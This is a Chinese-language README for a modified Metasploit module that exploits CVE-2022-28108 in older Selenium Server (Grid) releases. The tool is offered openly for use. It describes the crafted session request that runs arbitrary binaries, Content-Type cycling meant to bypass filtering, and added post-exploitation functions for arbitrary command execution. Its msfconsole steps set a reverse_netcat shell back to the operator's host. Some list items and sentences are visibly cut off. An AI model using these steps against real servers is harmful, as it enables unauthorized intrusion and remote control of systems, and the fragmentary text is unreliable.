本仓库包含一个修改版的 Metasploit 模块,用于利用旧版本 Selenium Server(Grid)中的远程代码执行漏洞。
使用此代码前请仔细阅读本 README。
原始代码致谢:
本模块基于原作者对 CVE-2022-28108 的 Metasploit 模块的出色工作。利用 Selenium Server 漏洞的核心功能大部分仍基于其实现。我们感谢他们对安全社区的贡献。
'Author' 部分)。请参考原始模块以了解具体姓名。所利用的漏洞:
本模块针对 CVE-2022-28108,它是 Selenium Server(Grid)4.0.0-alpha-7 之前版本中存在的跨站请求伪造(CSRF)漏洞。该漏洞的产生是因为服务器允许对某些请求使用非 JSON 内容类型(如 text/plain、application/x-www-form-urlencoded 和 multipart/form-data)。攻击者可以利用此漏洞发送恶意请求,从而导致在服务器上执行远程代码(RCE)。
原始代码工作原理:
原始 Metasploit 模块通过向存在漏洞的 Selenium Server 的 /wd/hub/session 端点发送一个精心构造的 POST 请求来利用该漏洞。该请求使用非 JSON 的 Content-Type(具体为 text/plain),并在所需浏览器功能的 goog:chromeOptions 中包含恶意配置。这使得攻击者能够在启动新浏览器会话时指定任意二进制文件(如 /usr/bin/python3)和参数在服务器上执行。
本版本的修改与增强:
本仓库包含原始 Metasploit 模块的修改版本。主要修改包括:
Content-Type 头发送恶意请求来利用漏洞。其中包括 text/plain、application/x-www-form-urlencoded 和 multipart/form-data。这样做是为了可能绕过针对特定 Content-Type 的基本过滤或检测机制。execute_post_exploitation 函数: 新增了一个名为 execute_post_exploitation(session_response) 的函数。该函数在成功利用后被调用,旨在执行基本的后渗透任务。在当前实现中,它包括:
execute_command_on_target 函数: 新增了另一个函数 execute_command_on_target(command)。该函数允许在成功利用后在目标系统上执行任意命令。它在 execute_post_exploitation 函数内部使用,并可扩展用于进一步的后渗透活动。主要差异说明:
核心区别在于 exploit 方法以及两个新函数的添加。
exploit 方法: 侧重于发送单个 Content-Type: text/plain 请求。exploit 方法: 遍历不同的 Content-Type 值,并针对每个值尝试利用。成功利用后,调用 execute_post_exploitation 函数。execute_post_exploitation 和 execute_command_on_target 函数是该修改版本的全新添加,提供了扩展的后渗透能力。如何使用修改后的模块:
.rb 文件(例如 selenium_rce_extended.rb)。/usr/share/metasploit-framework/modules/exploits/ 或 ~/.msf4/modules/exploits/。具体位置请参考你的 Metasploit 安装。msfconsole。use exploit/selenium_rce_extended(如果文件放在子目录中,则使用相应路径)。msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
exploit 执行模块。重要注意事项(免责声明):
免责声明:
此修改版代码的作者不对因使用本模块而引起的任何滥用或损害负责。使用此代码即表示你同意对自己的行为承担全部责任。
许可证:
此修改版代码可能受与原始 Metasploit Framework 相同的许可证(通常为 MSF License)约束。详细信息请参考原始 Metasploit Framework 许可证。
贡献:
欢迎对本模块的贡献和改进。请随时提交包含错误修复、增强或新功能的拉取请求。
致谢:
我们再次感谢 CVE-2022-28108 的 Metasploit 模块的原始作者。他们的工作构成了本修改版模块的基础。